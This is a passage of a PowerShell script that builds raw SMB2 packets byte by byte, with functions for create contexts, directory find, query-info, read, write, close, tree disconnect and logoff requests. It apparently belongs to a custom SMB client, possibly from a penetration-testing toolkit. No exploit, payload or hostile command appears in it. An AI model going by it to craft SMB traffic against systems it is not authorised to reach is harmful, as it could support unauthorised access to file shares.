$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_AllocationSize",$allocation_size_bytes)
}
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
if($ExtraInfo -gt 1)
{
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00))
}
else
{
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00))
}
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
if($ExtraInfo -gt 1)
{
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",$lease_key)
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
}
}
return $SMB2CreateRequest
}
function New-PacketSMB2FindRequestFile
{
param ([Byte[]]$FileID,[Byte[]]$Padding)
$SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$FileID)
$SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00))
$SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00))
if($padding)
{
$SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$Padding)
}
return $SMB2FindRequestFile
}
function New-PacketSMB2QueryInfoRequest
{
param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer)
[Byte[]]$buffer_bytes = ,0x00 * $Buffer
$SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00))
$SMB2QueryInfoRequest.Add("InfoType",$InfoType)
$SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass)
$SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength)
$SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset)
$SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00))
$SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2QueryInfoRequest.Add("FileID",$FileID)
if($Buffer -gt 0)
{
$SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes)
}
return $SMB2QueryInfoRequest
}
function New-PacketSMB2ReadRequest
{
param ([Int]$Length,[Int64]$Offset,[Byte[]]$FileID)
[Byte[]]$length_bytes = [System.BitConverter]::GetBytes($Length)
[Byte[]]$offset_bytes = [System.BitConverter]::GetBytes($Offset)
$SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00))
$SMB2ReadRequest.Add("Padding",[Byte[]](0x50))
$SMB2ReadRequest.Add("Flags",[Byte[]](0x00))
$SMB2ReadRequest.Add("Length",$length_bytes)
$SMB2ReadRequest.Add("Offset",$offset_bytes)
$SMB2ReadRequest.Add("FileID",$FileID)
$SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00))
$SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00))
$SMB2ReadRequest.Add("Buffer",[Byte[]](0x30))
return $SMB2ReadRequest
}
function New-PacketSMB2WriteRequest
{
param([Int]$Length,[Int64]$Offset,[Byte[]]$FileID,[Byte[]]$Buffer)
[Byte[]]$length_bytes = [System.BitConverter]::GetBytes($Length)
[Byte[]]$offset_bytes = [System.BitConverter]::GetBytes($Offset)
$SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00))
$SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00))
$SMB2WriteRequest.Add("Length",$length_bytes)
$SMB2WriteRequest.Add("Offset",$offset_bytes)
$SMB2WriteRequest.Add("FileID",$FileID)
$SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00))
$SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00))
$SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2WriteRequest.Add("SMB2WriteRequest_Buffer",$Buffer)
return $SMB2WriteRequest
}
function New-PacketSMB2CloseRequest
{
param ([Byte[]]$FileID)
$SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00))
$SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00))
$SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CloseRequest.Add("FileID",$FileID)
return $SMB2CloseRequest
}
function New-PacketSMB2TreeDisconnectRequest
{
$SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00))
$SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
return $SMB2TreeDisconnectRequest
}
function New-PacketSMB2SessionLogoffRequest
{
$SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00))
$SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00))
return $SMB2SessionLogoffRequest
}
function New-PacketSMB2IoctlRequest()
{
param([Byte[]]$FileName)
$file_name_length = [System.BitConverter]::GetBytes($FileName.Length + 2)